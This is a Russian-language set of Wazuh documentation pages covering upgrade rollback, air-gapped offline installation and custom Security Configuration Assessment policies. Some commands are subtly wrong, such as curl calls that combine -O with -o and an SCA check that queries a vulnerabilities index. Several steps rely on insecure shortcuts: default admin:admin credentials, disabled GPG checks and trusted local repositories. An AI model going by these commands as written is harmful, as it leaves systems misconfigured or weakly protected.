Для предотвращения случайных обновлений отключите репозитории:

```bash
# RPM
sed -i "s/^enabled=1/enabled=0/" /etc/yum.repos.d/wazuh.repo

# DEB
sed -i "s/^deb /#deb /" /etc/apt/sources.list.d/wazuh.list
apt-get update
```

## Откат при сбое обновления

Откат на версию 4.11 и ранее невозможен из-за изменений в формате данных Apache Lucene. Для защиты от потери данных:

1. Перед обновлением создайте [снимок индексов](/docs/wazuh/operations/wazuh-backup/)
2. Сохраните резервные копии конфигурации всех компонентов
3. В случае сбоя обновления одного компонента - не продолжайте обновление следующих
4. Восстановите компонент из пакета предыдущей версии и резервной копии конфигурации

Для отката в пределах линейки 4.12+:

```bash
# Остановите сервис
systemctl stop wazuh-indexer  # или wazuh-manager, wazuh-dashboard

# Установите предыдущую версию
yum downgrade wazuh-indexer-4.13.4-1
# или
apt-get install wazuh-indexer=4.13.4-1

# Восстановите конфигурацию из резервной копии
cp /backup/jvm.options /etc/wazuh-indexer/jvm.options

# Запустите сервис
systemctl start wazuh-indexer
```

## Устранение проблем при обновлении

### Индексатор не запускается после обновления

Проверьте журналы:

```bash
journalctl -u wazuh-indexer -n 50
cat /var/log/wazuh-indexer/wazuh-indexer.log
```

Типичные причины:

- Несовместимые настройки JVM (восстановите из резервной копии)
- Недостаточно дискового пространства для миграции индексов
- Некорректные права доступа к файлам данных

### Filebeat не подключается к индексатору

```bash
filebeat test output
```

Убедитесь, что SSL-сертификаты соответствуют обновленной версии и пути в конфигурации корректны.

### Dashboard показывает ошибку после обновления

Очистите кэш браузера и перезапустите Dashboard:

```bash
systemctl restart wazuh-dashboard
```

Если ошибка сохраняется, проверьте пути к сертификатам в `/etc/wazuh-dashboard/opensearch_dashboards.yml`.

### Агенты не подключаются после обновления сервера

Убедитесь, что версия агента не превышает версию сервера. Проверьте журнал менеджера:

```bash
tail -f /var/ossec/logs/ossec.log | grep -i error
```

Подробнее о диагностике проблем с подключением агентов см. в разделе [устранение неполадок](/docs/wazuh/operations/wazuh-troubleshooting/).

## Связанные разделы

- [Резервное копирование Wazuh](/docs/wazuh/operations/wazuh-backup/) - создание резервных копий перед обновлением
- [Устранение неполадок](/docs/wazuh/operations/wazuh-troubleshooting/) - диагностика типичных проблем
- [Установка Wazuh](/docs/wazuh/installation/) - первоначальное развертывание


---

# Офлайн-установка Wazuh 4.14 - изолированные сети

Source: https://opennix.org/docs/wazuh/deployment/wazuh-offline-installation/


Офлайн-установка предназначена для развертывания Wazuh 4.14 в изолированных сетях (air-gapped) без доступа в интернет. Все необходимые пакеты, зависимости и скрипты загружаются заранее на хосте с интернетом, переносятся на целевые серверы и устанавливаются из локального хранилища.

## Обзор процедуры

Процесс офлайн-установки состоит из следующих этапов:

1. Загрузка пакетов и зависимостей на хосте с интернетом
2. Перенос файлов на целевые серверы
3. Настройка локального репозитория
4. Генерация TLS-сертификатов
5. Установка компонентов в правильном порядке
6. Проверка работоспособности

## Предварительные требования

### Хост для загрузки (с интернетом)

- Любая Linux-система с доступом в интернет
- Утилиты: `curl`, `tar`, `gpg`
- Минимум 5 ГБ свободного дискового пространства

### Целевые серверы (без интернета)

- 64-битная ОС из [списка поддерживаемых](/docs/wazuh/installation/)
- Минимум 4 ядра CPU и 8 ГБ RAM для all-in-one
- Открытые порты между узлами: 1514, 1515, 9200, 443, 55000
- Способ передачи файлов (USB, SCP через локальную сеть, NFS)

## Загрузка пакетов

### Автоматическая загрузка

Wazuh предоставляет скрипт для автоматической загрузки всех необходимых файлов:

```bash
curl -sO https://packages.wazuh.com/4.14/wazuh-offline.tar.gz
```

Этот архив содержит:

- Пакеты Wazuh Indexer, Manager, Dashboard для поддерживаемых ОС
- GPG-ключи репозитория
- Конфигурационные файлы
- Скрипт установки

### Ручная загрузка пакетов

Для выборочной загрузки скачайте только нужные пакеты.

Для Debian/Ubuntu:

```bash
mkdir -p wazuh-offline/deb

# Wazuh Indexer
curl -sO https://packages.wazuh.com/4.x/apt/pool/main/w/wazuh-indexer/wazuh-indexer_4.14.3-1_amd64.deb \
  -o wazuh-offline/deb/

# Wazuh Manager
curl -sO https://packages.wazuh.com/4.x/apt/pool/main/w/wazuh-manager/wazuh-manager_4.14.3-1_amd64.deb \
  -o wazuh-offline/deb/

# Wazuh Dashboard
curl -sO https://packages.wazuh.com/4.x/apt/pool/main/w/wazuh-dashboard/wazuh-dashboard_4.14.3-1_amd64.deb \
  -o wazuh-offline/deb/

# Filebeat
curl -sO https://packages.wazuh.com/4.x/apt/pool/main/f/filebeat/filebeat-oss-7.10.2-amd64.deb \
  -o wazuh-offline/deb/
```

Для RHEL/CentOS:

```bash
mkdir -p wazuh-offline/rpm

curl -sO https://packages.wazuh.com/4.x/yum/wazuh-indexer-4.14.3-1.x86_64.rpm \
  -o wazuh-offline/rpm/

curl -sO https://packages.wazuh.com/4.x/yum/wazuh-manager-4.14.3-1.x86_64.rpm \
  -o wazuh-offline/rpm/

curl -sO https://packages.wazuh.com/4.x/yum/wazuh-dashboard-4.14.3-1.x86_64.rpm \
  -o wazuh-offline/rpm/
```

### Загрузка GPG-ключа

```bash
curl -s https://packages.wazuh.com/key/GPG-KEY-WAZUH -o wazuh-offline/GPG-KEY-WAZUH
```

### Загрузка конфигурации Filebeat

```bash
curl -sO https://packages.wazuh.com/4.x/filebeat/wazuh-filebeat-0.4.tar.gz \
  -o wazuh-offline/wazuh-filebeat-0.4.tar.gz
```

## Перенос на целевые серверы

Упакуйте все загруженные файлы:

```bash
tar czf wazuh-offline-bundle.tar.gz wazuh-offline/
```

Перенесите архив на целевые серверы любым доступным способом:

- **USB-носитель:** скопируйте на USB, перенесите физически
- **SCP по локальной сети:** `scp wazuh-offline-bundle.tar.gz user@target:/tmp/`
- **NFS-монтирование:** скопируйте в общий каталог

На целевом сервере распакуйте архив:

```bash
tar xzf /tmp/wazuh-offline-bundle.tar.gz -C /tmp/
```

## Настройка локального репозитория

### Для Debian/Ubuntu

Создайте локальный APT-репозиторий:

```bash
mkdir -p /var/local/wazuh-repo

cp /tmp/wazuh-offline/deb/*.deb /var/local/wazuh-repo/

cd /var/local/wazuh-repo
dpkg-scanpackages . /dev/null | gzip -9c > Packages.gz
```

Добавьте репозиторий в APT:

```bash
echo "deb [trusted=yes] file:///var/local/wazuh-repo ./" > /etc/apt/sources.list.d/wazuh-local.list
apt-get update
```

### Для RHEL/CentOS

Создайте локальный YUM-репозиторий:

```bash
mkdir -p /var/local/wazuh-repo

cp /tmp/wazuh-offline/rpm/*.rpm /var/local/wazuh-repo/

createrepo /var/local/wazuh-repo/
```

Если `createrepo` не установлен, установите его заранее или включите в офлайн-пакет:

```bash
yum install createrepo_c
```

Добавьте репозиторий:

```bash
cat > /etc/yum.repos.d/wazuh-local.repo << 'EOF'
[wazuh-local]
name=Wazuh Local Repository
baseurl=file:///var/local/wazuh-repo/
enabled=1
gpgcheck=0
EOF
```

## Генерация сертификатов

### Загрузка скрипта генерации

На хосте с интернетом скачайте скрипт и конфигурацию:

```bash
curl -sO https://packages.wazuh.com/4.14/wazuh-certs-tool.sh
curl -sO https://packages.wazuh.com/4.14/config.yml
```

### Настройка config.yml

Отредактируйте `config.yml`, указав имена и IP-адреса всех узлов:

```yaml
nodes:
  indexer:
    - name: wazuh-indexer-1
      ip: 192.168.1.10
  server:
    - name: wazuh-manager-1
      ip: 192.168.1.20
  dashboard:
    - name: wazuh-dashboard-1
      ip: 192.168.1.30
```

Для многоузловой конфигурации добавьте все узлы:

```yaml
nodes:
  indexer:
    - name: wazuh-indexer-1
      ip: 192.168.1.10
    - name: wazuh-indexer-2
      ip: 192.168.1.11
    - name: wazuh-indexer-3
      ip: 192.168.1.12
  server:
    - name: wazuh-manager-master
      ip: 192.168.1.20
      node_type: master
    - name: wazuh-manager-worker
      ip: 192.168.1.21
      node_type: worker
  dashboard:
    - name: wazuh-dashboard-1
      ip: 192.168.1.30
```

### Генерация сертификатов

```bash
bash wazuh-certs-tool.sh -A
```

Скрипт создаст каталог `wazuh-certificates/` со всеми необходимыми сертификатами. Перенесите его на целевые серверы вместе с пакетами.

### Распределение сертификатов

На каждом целевом сервере скопируйте соответствующие сертификаты:

```bash
# На узле индексатора
mkdir -p /etc/wazuh-indexer/certs
cp wazuh-certificates/root-ca.pem /etc/wazuh-indexer/certs/
cp wazuh-certificates/wazuh-indexer-1.pem /etc/wazuh-indexer/certs/indexer.pem
cp wazuh-certificates/wazuh-indexer-1-key.pem /etc/wazuh-indexer/certs/indexer-key.pem
chmod 400 /etc/wazuh-indexer/certs/*
chown -R wazuh-indexer:wazuh-indexer /etc/wazuh-indexer/certs
```

## Пошаговая установка

Порядок установки компонентов строго определен. Нарушение порядка приведет к ошибкам.

### 1. Установка Wazuh Indexer

```bash
# Debian/Ubuntu
apt-get install wazuh-indexer

# RHEL/CentOS
yum install wazuh-indexer
```

Настройте `/etc/wazuh-indexer/opensearch.yml`:

```yaml
cluster.name: wazuh-cluster
node.name: wazuh-indexer-1
network.host: 0.0.0.0
node.master: true
node.data: true

plugins.security.ssl.transport.pemcert_filepath: /etc/wazuh-indexer/certs/indexer.pem
plugins.security.ssl.transport.pemkey_filepath: /etc/wazuh-indexer/certs/indexer-key.pem
plugins.security.ssl.transport.pemtrustedcas_filepath: /etc/wazuh-indexer/certs/root-ca.pem

plugins.security.ssl.http.enabled: true
plugins.security.ssl.http.pemcert_filepath: /etc/wazuh-indexer/certs/indexer.pem
plugins.security.ssl.http.pemkey_filepath: /etc/wazuh-indexer/certs/indexer-key.pem
plugins.security.ssl.http.pemtrustedcas_filepath: /etc/wazuh-indexer/certs/root-ca.pem
```

Запустите и инициализируйте:

```bash
systemctl daemon-reload
systemctl enable wazuh-indexer
systemctl start wazuh-indexer

/usr/share/wazuh-indexer/bin/indexer-security-init.sh
```

Проверка:

```bash
curl -sk -u admin:admin https://localhost:9200/_cluster/health?pretty
```

### 2. Установка Wazuh Manager

```bash
# Debian/Ubuntu
apt-get install wazuh-manager

# RHEL/CentOS
yum install wazuh-manager
```

Установите Filebeat:

```bash
# Debian/Ubuntu
dpkg -i /tmp/wazuh-offline/deb/filebeat-oss-*.deb

# RHEL/CentOS
rpm -ivh /tmp/wazuh-offline/rpm/filebeat-oss-*.rpm
```

Настройте Filebeat для отправки данных в индексатор:

```bash
cp /tmp/wazuh-offline/wazuh-filebeat-0.4.tar.gz /tmp/
tar xzf /tmp/wazuh-filebeat-0.4.tar.gz -C /usr/share/filebeat/module/
```

Отредактируйте `/etc/filebeat/filebeat.yml`:

```yaml
output.elasticsearch:
  hosts: ["https://192.168.1.10:9200"]
  username: admin
  password: admin
  ssl.certificate_authorities:
    - /etc/filebeat/certs/root-ca.pem
  ssl.certificate: /etc/filebeat/certs/filebeat.pem
  ssl.key: /etc/filebeat/certs/filebeat-key.pem
```

Запустите сервисы:

```bash
systemctl daemon-reload
systemctl enable wazuh-manager filebeat
systemctl start wazuh-manager filebeat
```

### 3. Установка Wazuh Dashboard

```bash
# Debian/Ubuntu
apt-get install wazuh-dashboard

# RHEL/CentOS
yum install wazuh-dashboard
```

Настройте `/etc/wazuh-dashboard/opensearch_dashboards.yml`:

```yaml
server.host: 0.0.0.0
server.port: 443
opensearch.hosts: ["https://192.168.1.10:9200"]
opensearch.ssl.certificateAuthorities: ["/etc/wazuh-dashboard/certs/root-ca.pem"]
server.ssl.enabled: true
server.ssl.certificate: "/etc/wazuh-dashboard/certs/dashboard.pem"
server.ssl.key: "/etc/wazuh-dashboard/certs/dashboard-key.pem"
```

Запустите сервис:

```bash
systemctl daemon-reload
systemctl enable wazuh-dashboard
systemctl start wazuh-dashboard
```

Откройте `https://<IP-адрес>:443` для доступа к дашборду.

## Установка агентов в офлайн-режиме

### Загрузка пакета агента

На хосте с интернетом загрузите пакет для нужной ОС:

```bash
# Linux DEB
curl -sO https://packages.wazuh.com/4.x/apt/pool/main/w/wazuh-agent/wazuh-agent_4.14.3-1_amd64.deb

# Linux RPM
curl -sO https://packages.wazuh.com/4.x/yum/wazuh-agent-4.14.3-1.x86_64.rpm

# Windows
curl -sO https://packages.wazuh.com/4.x/windows/wazuh-agent-4.14.3-1.msi
```

### Установка на целевом хосте

```bash
# Debian/Ubuntu
WAZUH_MANAGER="192.168.1.20" dpkg -i wazuh-agent_4.14.3-1_amd64.deb

# RHEL/CentOS
WAZUH_MANAGER="192.168.1.20" rpm -ivh wazuh-agent-4.14.3-1.x86_64.rpm
```

Запустите агент:

```bash
systemctl daemon-reload
systemctl enable wazuh-agent
systemctl start wazuh-agent
```

## Обновление в офлайн-режиме

### Подготовка обновления

1. На хосте с интернетом загрузите пакеты новой версии
2. Перенесите пакеты на целевые серверы
3. Обновите локальный репозиторий

### Порядок обновления

Обновление выполняется в обратном порядке:

1. Агенты
2. Менеджер
3. Индексатор
4. Дашборд

### Обновление компонента

```bash
# Debian/Ubuntu
apt-get install --only-upgrade wazuh-indexer
systemctl restart wazuh-indexer

# RHEL/CentOS
yum update wazuh-indexer
systemctl restart wazuh-indexer
```

Перед обновлением индексатора создайте резервную копию данных:

```bash
curl -sk -u admin:admin \
  -X PUT "https://localhost:9200/_snapshot/backup/pre-upgrade" \
  -H "Content-Type: application/json" \
  -d '{"indices":"wazuh-*"}'
```

## Решение проблем

### Пакет не устанавливается из локального репозитория

**Симптомы:** ошибка `Unable to locate package` или `No package available`.

**Решение:**

1. Проверьте содержимое репозитория:

```bash
ls -la /var/local/wazuh-repo/
```

2. Для Debian/Ubuntu пересоздайте индекс пакетов:

```bash
cd /var/local/wazuh-repo
dpkg-scanpackages . /dev/null | gzip -9c > Packages.gz
apt-get update
```

3. Для RHEL/CentOS пересоздайте метаданные:

```bash
createrepo --update /var/local/wazuh-repo/
yum clean all && yum makecache
```

### Ошибки сертификатов при подключении компонентов

**Симптомы:** в логах ошибки `ssl_exception`, компоненты не могут установить TLS-соединение.

**Решение:**

1. Убедитесь, что все компоненты используют сертификаты от одного CA:

```bash
openssl x509 -in /etc/wazuh-indexer/certs/root-ca.pem -text -noout | grep Issuer
```

2. Проверьте, что SAN в сертификате соответствует IP-адресу узла:

```bash
openssl x509 -in /etc/wazuh-indexer/certs/indexer.pem -text -noout | grep -A1 "Subject Alternative Name"
```

3. Проверьте права доступа к файлам сертификатов

### Индексатор не запускается

**Симптомы:** сервис wazuh-indexer не стартует, в логах ошибки JVM или файловой системы.

**Решение:**

1. Проверьте `vm.max_map_count`:

```bash
sysctl vm.max_map_count
```

Если значение меньше 262144, увеличьте:

```bash
sysctl -w vm.max_map_count=262144
echo "vm.max_map_count=262144" >> /etc/sysctl.conf
```

2. Проверьте владельца каталога данных:

```bash
chown -R wazuh-indexer:wazuh-indexer /var/lib/wazuh-indexer
```

3. Проверьте логи:

```bash
journalctl -u wazuh-indexer -n 100
```

### Filebeat не отправляет данные в индексатор

**Симптомы:** алерты не появляются в дашборде, хотя менеджер работает.

**Решение:**

1. Проверьте статус Filebeat:

```bash
systemctl status filebeat
filebeat test output
```

2. Убедитесь, что адрес индексатора в `/etc/filebeat/filebeat.yml` корректен

3. Проверьте подключение вручную:

```bash
curl -sk -u admin:admin https://192.168.1.10:9200
```

## Дополнительные материалы

- [Обзор вариантов развертывания](/docs/wazuh/deployment/)
- [Установка Wazuh - пошаговое руководство](/docs/wazuh/installation/)
- [Быстрый старт Wazuh](/docs/wazuh/installation/wazuh-quickstart/)
- [Развертывание Wazuh через Ansible](/docs/wazuh/deployment/wazuh-ansible-deployment/)


---

# Оценка конфигурации безопасности (SCA) в Wazuh

Source: https://opennix.org/docs/wazuh/capabilities/wazuh-sca/


Модуль Security Configuration Assessment (SCA) в Wazuh выполняет проверку конфигурации систем на соответствие стандартам безопасности. Модуль сравнивает текущие настройки контролируемых систем с эталонными политиками и формирует отчет о пройденных, проваленных и неприменимых проверках. Политики основаны на стандартах CIS Benchmarks и могут быть расширены пользовательскими правилами.

## Принцип работы

SCA оценивает конфигурацию конечных точек по трехэтапному процессу:

1. **Загрузка политики** - агент загружает YAML-файлы политик из локального каталога или получает их централизованно с сервера
2. **Выполнение проверок** - каждая проверка в политике тестирует определенный аспект конфигурации (файл, процесс, реестр, команда)
3. **Формирование результатов** - результаты передаются на сервер и индексируются для визуализации в дашборде

```
Агент загружает политику -> Выполнение проверок ->
-> Результаты (passed/failed/not applicable) ->
-> Отправка на сервер -> Индексатор -> Дашборд
```

## Конфигурация SCA в ossec.conf

Модуль SCA настраивается в блоке `<sca>` файла `/var/ossec/etc/ossec.conf`:

```xml
<sca>
  <enabled>yes</enabled>
  <scan_on_start>yes</scan_on_start>
  <interval>12h</interval>
  <skip_nfs>yes</skip_nfs>

  <policies>
    <policy>etc/shared/cis_ubuntu22-04.yml</policy>
    <policy>etc/shared/cis_apache_24.yml</policy>
    <policy enabled="no">etc/shared/cis_win2022.yml</policy>
  </policies>
</sca>
```

### Параметры конфигурации

| Параметр | Описание | По умолчанию |
|----------|----------|-------------|
| `enabled` | Включение модуля SCA | yes |
| `scan_on_start` | Запуск сканирования при старте агента | yes |
| `interval` | Интервал между сканированиями | 12h |
| `skip_nfs` | Пропуск сетевых файловых систем | yes |
| `policies` | Список файлов политик для применения | - |

## Встроенные политики CIS Benchmarks

Wazuh поставляется с набором политик, основанных на стандартах CIS (Center for Internet Security). Политики покрывают операционные системы и сервисы.

### Linux

| Политика | Файл |
|----------|------|
| CIS Ubuntu 22.04 | `cis_ubuntu22-04.yml` |
| CIS Ubuntu 20.04 | `cis_ubuntu20-04.yml` |
| CIS Debian 11 | `cis_debian11.yml` |
| CIS Debian 10 | `cis_debian10.yml` |
| CIS CentOS 8 | `cis_centos8.yml` |
| CIS CentOS 7 | `cis_centos7.yml` |
| CIS RHEL 9 | `cis_rhel9.yml` |
| CIS RHEL 8 | `cis_rhel8.yml` |
| CIS RHEL 7 | `cis_rhel7.yml` |
| CIS Amazon Linux 2 | `cis_amazonlinux2.yml` |
| CIS SUSE Linux 15 | `cis_sles15.yml` |

### Windows

| Политика | Файл |
|----------|------|
| CIS Windows Server 2022 | `cis_win2022.yml` |
| CIS Windows Server 2019 | `cis_win2019.yml` |
| CIS Windows Server 2016 | `cis_win2016.yml` |
| CIS Windows 11 Enterprise | `cis_win11_enterprise.yml` |
| CIS Windows 10 Enterprise | `cis_win10_enterprise.yml` |

### Приложения и сервисы

| Политика | Файл |
|----------|------|
| CIS Apache HTTP Server 2.4 | `cis_apache_24.yml` |
| CIS MySQL 8.0 | `cis_mysql80.yml` |
| CIS PostgreSQL 13 | `cis_postgresql13.yml` |
| CIS Docker | `cis_docker.yml` |
| CIS Kubernetes | `cis_kubernetes.yml` |
| CIS Nginx | `cis_nginx.yml` |

## Формат файла политики (YAML)

Каждый файл политики SCA состоит из четырех разделов: `policy`, `requirements`, `variables` и `checks`.

### Раздел policy

Содержит метаданные политики:

```yaml
policy:
  id: "custom_ssh_hardening"
  file: "ssh_hardening.yml"
  name: "SSH Server Hardening Policy"
  description: "Security checks for OpenSSH server configuration"
  references:
    - https://www.cisecurity.org/benchmark/distribution_independent_linux
```

### Раздел requirements

Определяет предварительные условия для выполнения политики:

```yaml
requirements:
  title: "Check SSH server is installed"
  description: "Requirements for running the SSH hardening policy"
  condition: any
  rules:
    - 'f:/etc/ssh/sshd_config'
    - 'p:sshd'
```

Если условия не выполнены, политика пропускается, и все проверки получают статус "Not applicable".

### Раздел variables

Определяет переменные для повторного использования в проверках:

```yaml
variables:
  $sshd_config: /etc/ssh/sshd_config
  $pam_dir: /etc/pam.d
  $ssh_service: sshd
  $audit_log: /var/log/auth.log,/var/log/secure
```

Переменные указываются с префиксом `$` и могут содержать несколько путей через запятую.

### Раздел checks

Содержит набор проверок. Каждая проверка включает метаданные и правила тестирования.

```yaml
checks:
  - id: 5001
    title: "Ensure SSH root login is disabled"
    description: "The PermitRootLogin parameter specifies if root can log in using SSH"
    rationale: "Disabling root login forces administrators to use personal accounts"
    remediation: "Set PermitRootLogin to no in /etc/ssh/sshd_config"
    compliance:
      - cis: ["5.2.10"]
      - pci_dss: ["2.2.4"]
      - nist_800_53: ["AC.6"]
      - mitre_attack: ["T1078"]
    condition: all
    rules:
      - 'f:$sshd_config -> !r:^# && r:PermitRootLogin\s+no'
```

## Типы проверок

### Проверка файлов (f:)

Проверяет существование файла и его содержимое:

```yaml
# Проверка существования файла
- 'f:/etc/ssh/sshd_config'

# Отрицание - файл НЕ должен существовать
- 'not f:/etc/hosts.equiv'

# Проверка содержимого (точное совпадение)
- 'f:/etc/ssh/sshd_config -> PermitRootLogin no'

# Проверка содержимого (регулярное выражение)
- 'f:/etc/ssh/sshd_config -> r:^PermitRootLogin\s+no'

# Числовое сравнение
- 'f:/etc/ssh/sshd_config -> n:MaxAuthTries\s+(\d+) compare <= 4'

# Составное условие (AND)
- 'f:/etc/ssh/sshd_config -> !r:^# && r:PermitRootLogin && r:no'
```

### Проверка каталогов (d:)

Проверяет существование каталога и файлов внутри:

```yaml
# Проверка существования каталога
- 'd:/etc/ssh'

# Поиск файлов по паттерну в каталоге
- 'd:/etc/cron.d -> r:\.cron$'

# Проверка содержимого файлов в каталоге
- 'd:/etc/sudoers.d -> r:NOPASSWD'
```

### Проверка процессов (p:)

Проверяет наличие или отсутствие запущенного процесса:

```yaml
# Процесс должен быть запущен
- 'p:sshd'
- 'p:auditd'

# Процесс НЕ должен быть запущен
- 'not p:telnetd'
- 'not p:rshd'
```

### Проверка команд (c:)

Выполняет команду и проверяет вывод:

```yaml
# Проверка вывода команды
- 'c:systemctl is-enabled sshd -> r:enabled'

# Числовое сравнение вывода
- 'c:sshd -T -> n:maxauthtries\s+(\d+) compare <= 4'

# Проверка статуса сервиса
- 'c:systemctl status firewalld -> r:active'

# Проверка прав на файл
- 'c:stat -c %a /etc/shadow -> r:^0?600$'
```

### Проверка реестра Windows (r:)

Проверяет ключи и значения реестра Windows:

```yaml
# Проверка существования ключа
- 'r:HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa'

# Проверка значения
- 'r:HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa -> LimitBlankPasswordUse -> 1'

# Числовое сравнение
- 'r:HKEY_LOCAL_MACHINE\...\Lsa -> n:LmCompatibilityLevel compare >= 3'
```

## Логика оценки

### Поле condition

Поле `condition` определяет, как результаты отдельных правил агрегируются в итоговый результат проверки:

| Значение | Описание |
|----------|----------|
| `all` | Проверка пройдена, если ВСЕ правила пройдены |
| `any` | Проверка пройдена, если ХОТЯ БЫ ОДНО правило пройдено |
| `none` | Проверка пройдена, если НИ ОДНО правило не пройдено |

### Результаты проверок

| Статус | Описание |
|--------|----------|
| **Passed** | Конфигурация соответствует требованиям политики |
| **Failed** | Конфигурация не соответствует требованиям |
| **Not applicable** | Проверка не может быть выполнена (объект не существует) |

### Операторы сравнения

| Оператор | Описание |
|----------|----------|
| `r:` | Совпадение по регулярному выражению |
| `!r:` | Отсутствие совпадения по регулярному выражению |
| `n:` | Числовое сравнение |
| `&&` | Логическое И (объединение условий) |

Числовые операторы: `<`, `<=`, `==`, `!=`, `>=`, `>`

## Написание пользовательских политик

### Полный пример политики

```yaml
policy:
  id: "web_server_hardening"
  file: "web_server_hardening.yml"
  name: "Web Server Security Hardening"
  description: "Custom security checks for Apache/Nginx web servers"
  references:
    - https://httpd.apache.org/docs/2.4/misc/security_tips.html

requirements:
  title: "Check web server is installed"
  description: "At least one web server must be present"
  condition: any
  rules:
    - 'p:apache2'
    - 'p:httpd'
    - 'p:nginx'

variables:
  $apache_conf: /etc/apache2/apache2.conf,/etc/httpd/conf/httpd.conf
  $nginx_conf: /etc/nginx/nginx.conf

checks:
  - id: 10001
    title: "Ensure ServerTokens is set to Prod"
    description: "ServerTokens controls the information returned in HTTP headers"
    rationale: "Detailed server information aids attackers in reconnaissance"
    remediation: "Set ServerTokens Prod in the Apache configuration"
    compliance:
      - cis: ["5.13"]
      - pci_dss: ["2.2.4"]
    condition: all
    rules:
      - 'f:$apache_conf -> !r:^# && r:ServerTokens\s+Prod'

  - id: 10002
    title: "Ensure directory listing is disabled"
    description: "Options -Indexes prevents directory listing"
    rationale: "Directory listing exposes file structure to potential attackers"
    remediation: "Add Options -Indexes to directory configuration"
    compliance:
      - cis: ["5.7"]
    condition: all
    rules:
      - 'f:$apache_conf -> !r:^# && r:Options.*-Indexes'

  - id: 10003
    title: "Ensure TRACE method is disabled"
    description: "TraceEnable Off disables HTTP TRACE method"
    rationale: "TRACE method can be used for cross-site tracing attacks"
    remediation: "Set TraceEnable Off in the Apache configuration"
    compliance:
      - cis: ["5.8"]
      - mitre_attack: ["T1190"]
    condition: all
    rules:
      - 'f:$apache_conf -> !r:^# && r:TraceEnable\s+Off'

  - id: 10004
    title: "Ensure Nginx server_tokens is off"
    description: "server_tokens off hides Nginx version in HTTP headers"
    rationale: "Version disclosure assists in targeted exploit selection"
    remediation: "Set server_tokens off in nginx.conf"
    condition: all
    rules:
      - 'f:$nginx_conf -> !r:^# && r:server_tokens\s+off'

  - id: 10005
    title: "Ensure SSL/TLS is configured"
    description: "Web server should use TLS for encrypted communications"
    rationale: "Unencrypted traffic exposes data to interception"
    remediation: "Configure SSL certificate and enable TLS"
    compliance:
      - pci_dss: ["4.1"]
      - nist_800_53: ["SC.8"]
    condition: any
    rules:
      - 'f:$apache_conf -> r:SSLEngine\s+on'
      - 'f:$nginx_conf -> r:ssl_certificate'
```

### Размещение пользовательских политик

Файлы пользовательских политик размещаются в каталоге `/var/ossec/etc/shared/` и подключаются в конфигурации SCA:

```xml
<sca>
  <policies>
    <policy>etc/shared/web_server_hardening.yml</policy>
  </policies>
</sca>
```

### Централизованное распространение

Для централизованного распространения политик через сервер Wazuh:

1. Разместите файл политики в `/var/ossec/etc/shared/default/` на сервере
2. Политика будет автоматически доставлена всем агентам группы `default`
3. Для групп агентов используйте `/var/ossec/etc/shared/<group_name>/`

## Маппинг соответствия стандартам

SCA политики поддерживают маппинг на следующие стандарты:

| Стандарт | Ключ в compliance |
|----------|-------------------|
| CIS Benchmarks | `cis` |
| PCI DSS | `pci_dss` |
| NIST 800-53 | `nist_800_53` |
| HIPAA | `hipaa` |
| GDPR | `gdpr` |
| TSC (SOC 2) | `tsc` |
| MITRE ATT&CK | `mitre_attack` |

## Дашборд SCA

Дашборд SCA в Wazuh Dashboard предоставляет:

- **Обзор политик** - список политик с процентом пройденных проверок
- **Детализация по агенту** - результаты SCA для конкретного агента
- **История изменений** - динамика изменения результатов во времени
- **Проваленные проверки** - список несоответствий с рекомендациями по устранению
- **Фильтрация** - по политике, агенту, статусу проверки, стандарту соответствия

Доступ к дашборду: Wazuh Dashboard - Modules - Configuration Assessment.

## Рекомендации по устранению

Каждая проверка SCA содержит поле `remediation` с инструкцией по устранению несоответствия. Типичный процесс:

1. Просмотрите проваленные проверки в дашборде SCA
2. Отсортируйте по критичности (CIS Level 1 - обязательные, Level 2 - углубленные)
3. Примените рекомендации из поля `remediation`
4. Дождитесь следующего сканирования или запустите повторную проверку вручную

Для повторного запуска сканирования:

```bash
/var/ossec/bin/agent_control -r -u <agent_id>
```

## Сравнение с альтернативными решениями

| Характеристика | Wazuh SCA | OpenSCAP | Lynis | Nessus Compliance |
|---------------|-----------|----------|-------|-------------------|
| Формат политик | YAML | XCCDF/OVAL | Shell | Проприетарный |
| CIS Benchmarks | Да (встроенные) | Да (SCAP) | Да (частично) | Да (платные) |
| Пользовательские политики | Да | Да (сложный) | Да | Ограниченно |
| Централизованное управление | Да (agent.conf) | Нет | Нет | Да |
| Мониторинг в реальном времени | Периодический | По запросу | По запросу | Периодический |
| Интеграция с SIEM | Встроенная | Требует экспорта | Требует экспорта | Через API |
| Лицензия | Open Source (GPLv2) | Open Source | GPL | Коммерческая |
| Поддержка Windows | Да | Ограниченная | Нет | Да |
| API для результатов | REST API | CLI | CLI | REST API |

Wazuh SCA выделяется простотой формата политик (YAML), централизованным распространением через сервер и встроенной интеграцией с индексатором для долгосрочного хранения результатов.

## Устранение неполадок

### Политика не загружается

1. Проверьте синтаксис YAML-файла:
```bash
python3 -c "import yaml; yaml.safe_load(open('/var/ossec/etc/shared/policy.yml'))"
```

2. Убедитесь, что файл политики указан в конфигурации:
```bash
grep -A5 '<sca>' /var/ossec/etc/ossec.conf
```

3. Проверьте логи агента:
```bash
grep sca /var/ossec/logs/ossec.log | tail -20
```

### Все проверки показывают "Not applicable"

1. Убедитесь, что раздел `requirements` выполнен. Если предварительные условия не соблюдены, все проверки получают статус "Not applicable".

2. Проверьте правильность путей в переменных:
```bash
ls -la /etc/ssh/sshd_config  # пример проверки пути
```

3. Убедитесь, что политика соответствует операционной системе агента.

### Результаты SCA не отображаются в дашборде

1. Проверьте связь агента с сервером:
```bash
/var/ossec/bin/agent_control -i <agent_id>
```

2. Убедитесь, что индексатор доступен:
```bash
curl -sk -u admin:password https://localhost:9200/_cat/indices | grep sca
```

3. Проверьте наличие данных SCA:
```bash
curl -sk -u admin:password \
  "https://localhost:9200/wazuh-states-vulnerabilities-*/_search?size=1" \
  -H "Content-Type: application/json"
```

### Проверка не распознает конфигурацию

1. Проверьте, что регулярное выражение корректно:
```bash
grep -P 'PermitRootLogin\s+no' /etc/ssh/sshd_config
```

2. Учитывайте, что проверка `f:` сопоставляет паттерн с каждой строкой файла по отдельности.

3. Для составных условий (`&&`) все части должны совпадать в одной строке.

## Связанные разделы

- [Мониторинг целостности файлов](/docs/wazuh/capabilities/wazuh-file-integrity-monitoring/) - FIM отслеживает изменения файлов, SCA проверяет корректность конфигурации
- [Обнаружение уязвимостей](/docs/wazuh/capabilities/wazuh-vulnerability-detection/) - совместное использование SCA и vulnerability detection для комплексной оценки
- [Сценарии использования](/docs/wazuh/getting-started/wazuh-use-cases/) - примеры применения SCA в реальных сценариях


---
